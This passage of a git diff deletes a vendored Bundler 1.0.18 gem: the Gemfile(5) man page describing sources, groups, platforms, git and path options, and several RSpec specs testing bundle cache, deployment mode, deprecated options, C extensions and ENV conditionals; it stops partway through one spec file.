-Gemfile(5) -- A format for describing gem dependencies for Ruby programs
-========================================================================
-
-## SYNOPSIS
-
-A `Gemfile` describes the gem dependencies required to execute associated
-Ruby code.
-
-Place the `Gemfile` in the root of the directory containing the associated
-code. For instance, in a Rails application, place the `Gemfile` in the same
-directory as the `Rakefile`.
-
-## SYNTAX
-
-A `Gemfile` is evaluated as Ruby code, in a context which makes available
-a number of methods used to describe the gem requirements.
-
-## SOURCES (#source)
-
-At the top of the `Gemfile`, add one line for each `Rubygems` source that
-might contain the gems listed in the `Gemfile`.
-
-    source "http://rubygems.org"
-    source "http://gems.github.com"
-
-Each of these _source_s `MUST` be a valid Rubygems repository.
-
-## GEMS (#gem)
-
-Specify gem requirements using the `gem` method, with the following arguments.
-All parameters are `OPTIONAL` unless otherwise specified.
-
-### NAME (required)
-
-For each gem requirement, list a single _gem_ line.
-
-    gem "nokogiri"
-
-### VERSION
-
-Each _gem_ `MAY` have one or more version specifiers.
-
-    gem "nokogiri", ">= 1.4.2"
-    gem "RedCloth", ">= 4.1.0", "< 4.2.0"
-
-### REQUIRE AS (:require)
-
-Each _gem_ `MAY` specify its main file, which should be used when autorequiring
-(`Bundler.require`).
-
-    gem "sqlite3-ruby", :require => "sqlite3"
-
-This defaults to the name of the gem itself. For instance, these are identical:
-
-    gem "nokogiri"
-    gem "nokogiri", :require => "nokogiri"
-
-Specify `:require => false` to prevent bundler from requiring the gem, but still
-install it and maintain dependencies.
-
-### GROUPS (:group or :groups)
-
-Each _gem_ `MAY` specify membership in one or more groups. Any _gem_ that does
-not specify membership in any group is placed in the `default` group.
-
-    gem "rspec", :group => :test
-    gem "wirble", :groups => [:development, :test]
-
-The Bundler runtime allows its two main methods, `Bundler.setup` and
-`Bundler.require`, to limit their impact to particular groups.
-
-    # setup adds gems to Ruby's load path
-    Bundler.setup                    # defaults to all groups
-    require "bundler/setup"          # same as Bundler.setup
-    Bundler.setup(:default)          # only set up the _default_ group
-    Bundler.setup(:test)             # only set up the _test_ group (but `not` _default_)
-    Bundler.setup(:default, :test)   # set up the _default_ and _test_ groups, but no others
-
-    # require requires all of the gems in the specified groups
-    Bundler.require                  # defaults to just the _default_ group
-    Bundler.require(:default)        # identical
-    Bundler.require(:default, :test) # requires the _default_ and _test_ groups
-    Bundler.require(:test)           # requires just the _test_ group
-
-The Bundler CLI allows you to specify a list of groups whose gems `bundle install` should
-not install with the `--without` option. To specify multiple groups to ignore, specify a
-list of groups separated by spaces.
-
-    bundle install --without test
-    bundle install --without development test
-
-After running `bundle install --without test`, bundler will remember that you excluded
-the test group in the last installation. The next time you run `bundle install`,
-without any `--without option`, bundler will recall it.
-
-Also, calling `Bundler.setup` with no parameters, or calling `require "bundler/setup"`
-will setup all groups except for the ones you excluded via `--without` (since they
-are obviously not available).
-
-Note that on `bundle install`, bundler downloads and evaluates all gems, in order to
-create a single canonical list of all of the required gems and their dependencies.
-This means that you cannot list different versions of the same gems in different
-groups. For more details, see [Understanding Bundler](http://gembundler.com/rationale.html).
-
-### PLATFORMS (:platforms)
-
-If a gem should only be used in a particular platform or set of platforms, you can
-specify them. Platforms are essentially identical to groups, except that you do not
-need to use the `--without` install-time flag to exclude groups of gems for other
-platforms.
-
-There are a number of `Gemfile` platforms:
-
-  * `ruby`:
-    C Ruby (MRI) or Rubinius, but `NOT` Windows
-  * `ruby_18`:
-    _ruby_ `AND` version 1.8
-  * `ruby_19`:
-    _ruby_ `AND` version 1.9
-  * `mri`:
-    Same as _ruby_, but not Rubinius
-  * `mri_18`:
-    _mri_ `AND` version 1.8
-  * `mri_19`:
-    _mri_ `AND` version 1.9
-  * `rbx`:
-    Same as _ruby_, but only Rubinius (not MRI)
-  * `jruby`:
-    JRuby
-  * `mswin`:
-    Windows
-  * `mingw`:
-    Windows 'mingw32' platform (aka RubyInstaller)
-  * `mingw_18`:
-    _mingw_ `AND` version 1.8
-  * `mingw_19`:
-    _mingw_ `AND` version 1.9
-
-As with groups, you can specify one or more platforms:
-
-    gem "weakling",   :platforms => :jruby
-    gem "ruby-debug", :platforms => :mri_18
-    gem "nokogiri",   :platforms => [:mri_18, :jruby]
-
-All operations involving groups (`bundle install`, `Bundler.setup`,
-`Bundler.require`) behave exactly the same as if any groups not
-matching the current platform were explicitly excluded.
-
-### GIT (:git)
-
-If necessary, you can specify that a gem is located at a particular
-git repository. The repository can be public (`http://github.com/rails/rails.git`)
-or private (`git@github.com:rails/rails.git`). If the repository is private,
-the user that you use to run `bundle install` `MUST` have the appropriate
-keys available in their `$HOME/.ssh`.
-
-Git repositories are specified using the `:git` parameter. The `group`,
-`platforms`, and `require` options are available and behave exactly the same
-as they would for a normal gem.
-
-    gem "rails", :git => "git://github.com/rails/rails.git"
-
-A git repository `SHOULD` have at least one file, at the root of the
-directory containing the gem, with the extension `.gemspec`. This file
-`MUST` contain a valid gem specification, as expected by the `gem build`
-command. It `MUST NOT` have any dependencies, other than on the files in
-the git repository itself and any built-in functionality of Ruby or Rubygems.
-
-If a git repository does not have a `.gemspec`, bundler will attempt to
-create one, but it will not contain any dependencies, executables, or
-C extension compilation instructions. As a result, it may fail to properly
-integrate into your application.
-
-If a git repository does have a `.gemspec` for the gem you attached it
-to, a version specifier, if provided, means that the git repository is
-only valid if the `.gemspec` specifies a version matching the version
-specifier. If not, bundler will print a warning.
-
-    gem "rails", "2.3.8", :git => "git://github.com/rails/rails.git"
-    # bundle install will fail, because the .gemspec in the rails
-    # repository's master branch specifies version 3.0.0
-
-If a git repository does `not` have a `.gemspec` for the gem you attached
-it to, a version specifier `MUST` be provided. Bundler will use this
-version in the simple `.gemspec` it creates.
-
-Git repositories support a number of additional options.
-
-  * `branch`, `tag`, and `ref`:
-    You `MUST` only specify at most one of these options. The default
-    is `:branch => "master"`
-  * `submodules`:
-    Specify `:submodules => true` to cause bundler to expand any
-    submodules included in the git repository
-
-If a git repository contains multiple `.gemspecs`, each `.gemspec`
-represents a gem located at the same place in the file system as
-the `.gemspec`.
-
-    |~rails                   [git root]
-    | |-rails.gemspec         [rails gem located here]
-    |~actionpack
-    | |-actionpack.gemspec    [actionpack gem located here]
-    |~activesupport
-    | |-activesupport.gemspec [activesupport gem located here]
-    ...
-
-To install a gem located in a git repository, bundler changes to
-the directory containing the gemspec, runs `gem build name.gemspec`
-and then installs the resulting gem. The `gem build` command,
-which comes standard with Rubygems, evaluates the `.gemspec` in
-the context of the directory in which it is located.
-
-### PATH (:path)
-
-You can specify that a gem is located in a particular location
-on the file system. Relative paths are resolved relative to the
-directory containing the `Gemfile`.
-
-Similar to the semantics of the `:git` option, the `:path`
-option requires that the directory in question either contains
-a `.gemspec` for the gem, or that you specify an explicit
-version that bundler should use.
-
-Unlike `:git`, bundler does not compile C extensions for
-gems specified as paths.
-
-    gem "rails", :path => "vendor/rails"
-
-## BLOCK FORM OF GIT, PATH, GROUP and PLATFORMS
-
-The `:git`, `:path`, `:group`, and `:platforms` options may be
-applied to a group of gems by using block form.
-
-    git "git://github.com/rails/rails.git" do
-      gem "activesupport"
-      gem "actionpack"
-    end
-
-    platforms :ruby do
-      gem "ruby-debug"
-      gem "sqlite3-ruby"
-    end
-
-    group :development do
-      gem "wirble"
-      gem "faker"
-    end
-
-In the case of the `git` block form, the `:ref`, `:branch`, `:tag`,
-and `:submodules` options may be passed to the `git` method, and
-all gems in the block will inherit those options.
-
-## GEMSPEC (#gemspec)
-
-If you wish to use Bundler to help install dependencies for a gem while it is
-being developed, use the `gemspec` method to pull in the dependencies listed in
-the `.gemspec` file.
-
-The `gemspec` method adds any runtime dependencies as gem requirements in the
-default group. It also adds development dependencies as gem requirements in the
-`development` group. Finally, it adds a gem requirement on your project (`:path
-=> '.'`). In conjunction with `Bundler.setup`, this allows you to require project
-files in your test code as you would if the project were installed as a gem; you
-need not manipulate the load path manually or require project files via relative
-paths.
-
-The `gemspec` method supports optional `:path`, `:name`, and `:development_group`
-options, which control where bundler looks for the `.gemspec`, what named
-`.gemspec` it uses (if more than one is present), and which group development
-dependencies are included in.
-
-## SOURCE PRIORITY
-
-When attempting to locate a gem to satisfy a gem requirement,
-bundler uses the following priority order:
-
-  1. The source explicitly attached to the gem (using `:path` or `:git`)
-  2. For implicit gems (dependencies of explicit gems), any git or path
-     repository otherwise declared. This results in bundler prioritizing the
-     ActiveSupport gem from the Rails git repository over ones from
-     `rubygems.org`
-  3. The sources specified via `source`, in the order in which they were
-     declared in the `Gemfile`.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/man/index.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/man/index.txt
deleted file mode 100644
index 64f07cbf..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/man/index.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-Gemfile(5)         gemfile.5
-bundle-install     bundle-install.1
-bundle-update      bundle-update.1
-bundle-package     bundle-package.1
-bundle-exec        bundle-exec.1
-bundle-config      bundle-config.1
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/gems_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/gems_spec.rb
deleted file mode 100644
index aef513b5..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/gems_spec.rb
+++ /dev/null
@@ -1,230 +0,0 @@
-require "spec_helper"
-
-describe "bundle cache" do
-
-  describe "when there are only gemsources" do
-    before :each do
-      gemfile <<-G
-        gem 'rack'
-      G
-
-      system_gems "rack-1.0.0"
-      bundle :cache
-    end
-
-    it "copies the .gem file to vendor/cache" do
-      bundled_app("vendor/cache/rack-1.0.0.gem").should exist
-    end
-
-    it "uses the cache as a source when installing gems" do
-      build_gem "omg", :path => bundled_app('vendor/cache')
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "omg"
-      G
-
-      should_be_installed "omg 1.0.0"
-    end
-
-    it "uses the cache as a source when installing gems with --local" do
-      system_gems []
-      bundle "install --local"
-
-      should_be_installed("rack 1.0.0")
-    end
-
-    it "does not reinstall gems from the cache if they exist on the system" do
-      build_gem "rack", "1.0.0", :path => bundled_app('vendor/cache') do |s|
-        s.write "lib/rack.rb", "RACK = 'FAIL'"
-      end
-
-      install_gemfile <<-G
-        gem "rack"
-      G
-
-      should_be_installed("rack 1.0.0")
-    end
-
-    it "does not reinstall gems from the cache if they exist in the bundle" do
-      system_gems "rack-1.0.0"
-
-      gemfile <<-G
-        gem "rack"
-      G
-
-      build_gem "rack", "1.0.0", :path => bundled_app('vendor/cache') do |s|
-        s.write "lib/rack.rb", "RACK = 'FAIL'"
-      end
-
-      bundle "install --local"
-      should_be_installed("rack 1.0.0")
-    end
-
-    it "creates a lockfile" do
-      cache_gems "rack-1.0.0"
-
-      gemfile <<-G
-        gem "rack"
-      G
-
-      bundle "cache"
-
-      bundled_app("Gemfile.lock").should exist
-    end
-  end
-
-  describe "when there are also git sources" do
-    before do
-      build_git "foo"
-      system_gems "rack-1.0.0"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        git "#{lib_path("foo-1.0")}" do
-          gem 'foo'
-        end
-        gem 'rack'
-      G
-    end
-
-    it "still works" do
-      bundle :cache
-
-      system_gems []
-      bundle "install --local"
-
-      should_be_installed("rack 1.0.0", "foo 1.0")
-    end
-
-    it "should not explode if the lockfile is not present" do
-      FileUtils.rm(bundled_app("Gemfile.lock"))
-
-      bundle :cache
-
-      bundled_app("Gemfile.lock").should exist
-    end
-  end
-
-  describe "when previously cached" do
-    before :each do
-      build_repo2
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack"
-        gem "actionpack"
-      G
-      bundle :cache
-      cached_gem("rack-1.0.0").should exist
-      cached_gem("actionpack-2.3.2").should exist
-      cached_gem("activesupport-2.3.2").should exist
-    end
-
-    it "re-caches during install" do
-      cached_gem("rack-1.0.0").rmtree
-      bundle :install
-      out.should include("Updating .gem files in vendor/cache")
-      cached_gem("rack-1.0.0").should exist
-    end
-
-    it "adds and removes when gems are updated" do
-      update_repo2
-      bundle 'update'
-      cached_gem("rack-1.2").should exist
-      cached_gem("rack-1.0.0").should_not exist
-    end
-
-    it "adds new gems and dependencies" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rails"
-      G
-      cached_gem("rails-2.3.2").should exist
-      cached_gem("activerecord-2.3.2").should exist
-    end
-
-    it "removes .gems for removed gems and dependencies" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack"
-      G
-      cached_gem("rack-1.0.0").should exist
-      cached_gem("actionpack-2.3.2").should_not exist
-      cached_gem("activesupport-2.3.2").should_not exist
-    end
-
-    it "removes .gems when gem changes to git source" do
-      build_git "rack"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack", :git => "#{lib_path("rack-1.0")}"
-        gem "actionpack"
-      G
-      cached_gem("rack-1.0.0").should_not exist
-      cached_gem("actionpack-2.3.2").should exist
-      cached_gem("activesupport-2.3.2").should exist
-    end
-
-
-    it "doesn't remove gems that are for another platform" do
-      simulate_platform "java" do
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "platform_specific"
-        G
-
-        bundle :cache
-        cached_gem("platform_specific-1.0-java").should exist
-      end
-
-      simulate_new_machine
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "platform_specific"
-      G
-
-      cached_gem("platform_specific-1.0-#{Gem::Platform.local}").should exist
-      cached_gem("platform_specific-1.0-java").should exist
-    end
-
-    it "doesn't remove gems with mismatched :rubygems_version or :date" do
-      cached_gem("rack-1.0.0").rmtree
-      build_gem "rack", "1.0.0",
-        :path => bundled_app('vendor/cache'),
-        :rubygems_version => "1.3.2"
-      simulate_new_machine
-
-      bundle :install
-      cached_gem("rack-1.0.0").should exist
-    end
-
-    it "handles directories and non .gem files in the cache" do
-      bundled_app("vendor/cache/foo").mkdir
-      File.open(bundled_app("vendor/cache/bar"), 'w'){|f| f.write("not a gem") }
-      bundle :cache
-    end
-
-    it "does not say that it is removing gems when it isn't actually doing so" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-      bundle "cache"
-      bundle "install"
-      out.should_not =~ /removing/i
-    end
-
-    it "should install gems with the name bundler in them (that aren't bundler)" do
-      build_gem "foo-bundler", "1.0",
-        :path => bundled_app('vendor/cache')
-
-      install_gemfile <<-G
-        gem "foo-bundler"
-      G
-
-      should_be_installed "foo-bundler 1.0"
-    end
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/git_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/git_spec.rb
deleted file mode 100644
index 42c3ad57..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/git_spec.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require "spec_helper"
-describe "bundle cache with git" do
-  it "base_name should strip private repo uris" do
-    source  = Bundler::Source::Git.new("uri" => "git@github.com:bundler.git")
-    source.send(:base_name).should == "bundler"
-  end
-
-  it "base_name should strip network share paths" do
-    source = Bundler::Source::Git.new("uri" => "//MachineName/ShareFolder")
-    source.send(:base_name).should == "ShareFolder"
-  end
- end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/path_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/path_spec.rb
deleted file mode 100644
index 6a78ac3b..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/path_spec.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require "spec_helper"
-
-describe "bundle cache" do
-  describe "with path sources" do
-    it "is silent when the path is within the bundle" do
-      build_lib "foo", :path => bundled_app("lib/foo")
-
-      install_gemfile <<-G
-        gem "foo", :path => '#{bundled_app("lib/foo")}'
-      G
-
-      bundle "cache"
-      out.should == "Updating .gem files in vendor/cache"
-    end
-
-    it "warns when the path is outside of the bundle" do
-      build_lib "foo"
-
-      install_gemfile <<-G
-        gem "foo", :path => '#{lib_path("foo-1.0")}'
-      G
-
-      bundle "cache"
-      out.should include("foo at `#{lib_path("foo-1.0")}` will not be cached")
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/platform_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/platform_spec.rb
deleted file mode 100644
index 7e136640..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/cache/platform_spec.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require "spec_helper"
-
-describe "bundle cache with multiple platforms" do
-  before :each do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-
-      platforms :ruby, :ruby_18, :ruby_19 do
-        gem "rack", "1.0.0"
-      end
-
-      platforms :jruby do
-        gem "activesupport", "2.3.5"
-      end
-
-      platforms :mri, :mri_18, :mri_19 do
-        gem "activerecord", "2.3.2"
-      end
-    G
-
-    lockfile <<-G
-      GEM
-        remote: file:#{gem_repo1}/
-        specs:
-          rack (1.0.0)
-          activesupport (2.3.5)
-          activerecord (2.3.2)
-
-      PLATFORMS
-        ruby
-        java
-
-      DEPENDENCIES
-        rack (1.0.0)
-        activesupport (2.3.5)
-        activerecord (2.3.2)
-    G
-
-    cache_gems "rack-1.0.0", "activesupport-2.3.5", "activerecord-2.3.2"
-  end
-
-  it "ensures that bundle install does not delete gems for other platforms" do
-    bundle "install"
-
-    bundled_app("vendor/cache/rack-1.0.0.gem").should exist
-    bundled_app("vendor/cache/activesupport-2.3.5.gem").should exist
-    bundled_app("vendor/cache/activerecord-2.3.2.gem").should exist
-  end
-
-  it "ensures that bundle update does not delete gems for other platforms" do
-    bundle "update"
-
-    bundled_app("vendor/cache/rack-1.0.0.gem").should exist
-    bundled_app("vendor/cache/activesupport-2.3.5.gem").should exist
-    bundled_app("vendor/cache/activerecord-2.3.2.gem").should exist
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/deploy_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/deploy_spec.rb
deleted file mode 100644
index 5678e4cc..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/deploy_spec.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-require "spec_helper"
-
-describe "install with --deployment or --frozen" do
-  before do
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "rack"
-    G
-  end
-
-  it "fails without a lockfile and says that --deployment requires a lock" do
-    bundle "install --deployment"
-    out.should include("The --deployment flag requires a Gemfile.lock")
-  end
-
-  it "fails without a lockfile and says that --frozen requires a lock" do
-    bundle "install --frozen"
-    out.should include("The --frozen flag requires a Gemfile.lock")
-  end
-
-  it "works after you try to deploy without a lock" do
-    bundle "install --deployment"
-    bundle :install, :exitstatus => true
-    exitstatus.should eq(0)
-    should_be_installed "rack 1.0"
-  end
-
-  it "still works if you are not in the app directory and specify --gemfile" do
-    bundle "install"
-    Dir.chdir tmp
-    simulate_new_machine
-    bundle "install --gemfile #{tmp}/bundled_app/Gemfile --deployment"
-    Dir.chdir bundled_app
-    should_be_installed "rack 1.0"
-  end
-
-  it "works if you exclude a group with a git gem" do
-    build_git "foo"
-    gemfile <<-G
-      group :test do
-        gem "foo", :git => "#{lib_path('foo-1.0')}"
-      end
-    G
-    bundle :install
-    bundle "install --deployment --without test", :exitstatus => true
-    exitstatus.should == 0
-  end
-
-  it "works when you bundle exec bundle" do
-    bundle :install
-    bundle "install --deployment"
-    bundle "exec bundle check", :exitstatus => true
-    exitstatus.should == 0
-  end
-
-  describe "with an existing lockfile" do
-    before do
-      bundle "install"
-    end
-
-    it "works with the --deployment flag if you didn't change anything" do
-      bundle "install --deployment", :exitstatus => true
-      exitstatus.should == 0
-    end
-
-    it "works with the --frozen flag if you didn't change anything" do
-      bundle "install --frozen", :exitstatus => true
-      exitstatus.should == 0
-    end
-
-    it "explodes with the --deployment flag if you make a change and don't check in the lockfile" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "rack-obama"
-      G
-
-      bundle "install --deployment"
-      out.should include("deployment mode")
-      out.should include("You have added to the Gemfile")
-      out.should include("* rack-obama")
-      out.should_not include("You have deleted from the Gemfile")
-      out.should_not include("You have changed in the Gemfile")
-    end
-
-    it "can have --frozen set via an environment variable" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "rack-obama"
-      G
-
-      ENV['BUNDLE_FROZEN'] = '1'
-      bundle "install"
-      out.should include("deployment mode")
-      out.should include("You have added to the Gemfile")
-      out.should include("* rack-obama")
-      out.should_not include("You have deleted from the Gemfile")
-      out.should_not include("You have changed in the Gemfile")
-    end
-
-    it "explodes with the --frozen flag if you make a change and don't check in the lockfile" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "rack-obama"
-      G
-
-      bundle "install --frozen"
-      out.should include("deployment mode")
-      out.should include("You have added to the Gemfile")
-      out.should include("* rack-obama")
-      out.should_not include("You have deleted from the Gemfile")
-      out.should_not include("You have changed in the Gemfile")
-    end
-
-    it "explodes if you remove a gem and don't check in the lockfile" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "activesupport"
-      G
-
-      bundle "install --deployment"
-      out.should include("deployment mode")
-      out.should include("You have added to the Gemfile:\n* activesupport\n\n")
-      out.should include("You have deleted from the Gemfile:\n* rack")
-      out.should_not include("You have changed in the Gemfile")
-    end
-
-    it "explodes if you add a source" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :git => "git://hubz.com"
-      G
-
-      bundle "install --deployment"
-      out.should include("deployment mode")
-      out.should include("You have added to the Gemfile:\n* source: git://hubz.com (at master)")
-      out.should_not include("You have changed in the Gemfile")
-    end
-
-    it "explodes if you unpin a source" do
-      build_git "rack"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :git => "#{lib_path("rack-1.0")}"
-      G
-
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      bundle "install --deployment"
-      out.should include("deployment mode")
-      out.should include("You have deleted from the Gemfile:\n* source: #{lib_path("rack-1.0")} (at master)")
-      out.should_not include("You have added to the Gemfile")
-      out.should_not include("You have changed in the Gemfile")
-    end
-
-    it "explodes if you unpin a source, leaving it pinned somewhere else" do
-      build_lib "foo", :path => lib_path("rack/foo")
-      build_git "rack", :path => lib_path("rack")
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :git => "#{lib_path("rack")}"
-        gem "foo", :git => "#{lib_path("rack")}"
-      G
-
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "foo", :git => "#{lib_path("rack")}"
-      G
-
-      bundle "install --deployment"
-      out.should include("deployment mode")
-      out.should include("You have changed in the Gemfile:\n* rack from `no specified source` to `#{lib_path("rack")} (at master)`")
-      out.should_not include("You have added to the Gemfile")
-      out.should_not include("You have deleted from the Gemfile")
-    end
-
-    it "remembers that the bundle is frozen at runtime" do
-      bundle "install --deployment"
-
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "1.0.0"
-        gem "rack-obama"
-      G
-
-      should_be_installed "rack 1.0.0"
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/deprecated_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/deprecated_spec.rb
deleted file mode 100644
index d1656cde..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/deprecated_spec.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with deprecated features" do
-  before :each do
-    in_app_root
-  end
-
-  %w( only except disable_system_gems disable_rubygems
-      clear_sources bundle_path bin_path ).each do |deprecated|
-
-    it "reports that #{deprecated} is deprecated" do
-      gemfile <<-G
-        #{deprecated}
-      G
-
-      bundle :install
-      out.should =~ /'#{deprecated}' has been removed/
-      out.should =~ /See the README for more information/
-    end
-
-  end
-
-
-  %w( require_as vendored_at only except ).each do |deprecated|
-
-    it "reports that :#{deprecated} is deprecated" do
-      gemfile <<-G
-        gem "rack", :#{deprecated} => true
-      G
-
-      bundle :install
-      out.should =~ /Please replace :#{deprecated}|The :#{deprecated} option is no longer supported/
-    end
-
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/c_ext_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/c_ext_spec.rb
deleted file mode 100644
index bc3e2452..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/c_ext_spec.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-require "spec_helper"
-
-describe "installing a gem with C extensions" do
-  it "installs" do
-    build_repo2 do
-      build_gem "c_extension" do |s|
-        s.extensions = ["ext/extconf.rb"]
-        s.write "ext/extconf.rb", <<-E
-          require "mkmf"
-          name = "c_extension_bundle"
-          dir_config(name)
-          raise "OMG" unless with_config("c_extension") == "hello"
-          create_makefile(name)
-        E
-
-        s.write "ext/c_extension.c", <<-C
-          #include "ruby.h"
-
-          VALUE c_extension_true(VALUE self) {
-            return Qtrue;
-          }
-
-          void Init_c_extension_bundle() {
-            VALUE c_Extension = rb_define_class("CExtension", rb_cObject);
-            rb_define_method(c_Extension, "its_true", c_extension_true, 0);
-          }
-        C
-
-        s.write "lib/c_extension.rb", <<-C
-          require "c_extension_bundle"
-        C
-      end
-    end
-
-    gemfile <<-G
-      source "file://#{gem_repo2}"
-      gem "c_extension"
-    G
-
-    bundle "config build.c_extension --with-c_extension=hello"
-    bundle "install"
-
-    out.should_not include("extconf.rb failed")
-
-    run "Bundler.require; puts CExtension.new.its_true"
-    out.should == "true"
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/env_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/env_spec.rb
deleted file mode 100644
index 285c23b0..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/env_spec.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with ENV conditionals" do
-  describe "when just setting an ENV key as a string" do
-    before :each do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-
-        env "BUNDLER_TEST" do
-          gem "rack"
-        end
-      G
-    end
-
-    it "excludes the gems when the ENV variable is not set" do
-      bundle :install
-      should_not_be_installed "rack"
-    end
-
-    it "includes the gems when the ENV variable is set" do
-      ENV['BUNDLER_TEST'] = '1'
-      bundle :install
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  describe "when just setting an ENV key as a symbol" do
-    before :each do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-
-        env :BUNDLER_TEST do
-          gem "rack"
-        end
-      G
-    end
-
-    it "excludes the gems when the ENV variable is not set" do
-      bundle :install
-      should_not_be_installed "rack"
-    end
-
-    it "includes the gems when the ENV variable is set" do
-      ENV['BUNDLER_TEST'] = '1'
-      bundle :install
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  describe "when setting a string to match the env" do
-    before :each do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-
-        env "BUNDLER_TEST" => "foo" do
-          gem "rack"
-        end
-      G
-    end
-
-    it "excludes the gems when the ENV variable is not set" do
-      bundle :install
-      should_not_be_installed "rack"
-    end
-
-    it "excludes the gems when the ENV variable is set but does not match the condition" do
-      ENV['BUNDLER_TEST'] = '1'
-      bundle :install
-      should_not_be_installed "rack"
-    end
-
-    it "includes the gems when the ENV variable is set and matches the condition" do
-      ENV['BUNDLER_TEST'] = 'foo'
-      bundle :install
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  describe "when setting a regex to match the env" do
-    before :each do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-
-        env "BUNDLER_TEST" => /foo/ do
-          gem "rack"
-        end
-      G
-    end
-
-    it "excludes the gems when the ENV variable is not set" do
-      bundle :install
-      should_not_be_installed "rack"
-    end
-
-    it "excludes the gems when the ENV variable is set but does not match the condition" do
-      ENV['BUNDLER_TEST'] = 'fo'
-      bundle :install
-      should_not_be_installed "rack"
-    end
-
-    it "includes the gems when the ENV variable is set and matches the condition" do
-      ENV['BUNDLER_TEST'] = 'foobar'
-      bundle :install
-      should_be_installed "rack 1.0"
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/flex_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/flex_spec.rb
deleted file mode 100644
index c48b7b63..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/flex_spec.rb
+++ /dev/null
@@ -1,313 +0,0 @@
-require "spec_helper"
-
-describe "bundle flex_install" do
-  it "installs the gems as expected" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem 'rack'
-    G
-
-    should_be_installed "rack 1.0.0"
-    should_be_locked
-  end
-
-  it "installs even when the lockfile is invalid" do
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem 'rack'
-    G
-
-    should_be_installed "rack 1.0.0"
-    should_be_locked
-
-    gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem 'rack', '1.0'
-    G
-
-    bundle :install
-    should_be_installed "rack 1.0.0"
-    should_be_locked
-  end
-
-  it "keeps child dependencies at the same version" do
-    build_repo2
-
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gem "rack-obama"
-    G
-
-    should_be_installed "rack 1.0.0", "rack-obama 1.0.0"
-
-    update_repo2
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gem "rack-obama", "1.0"
-    G
-
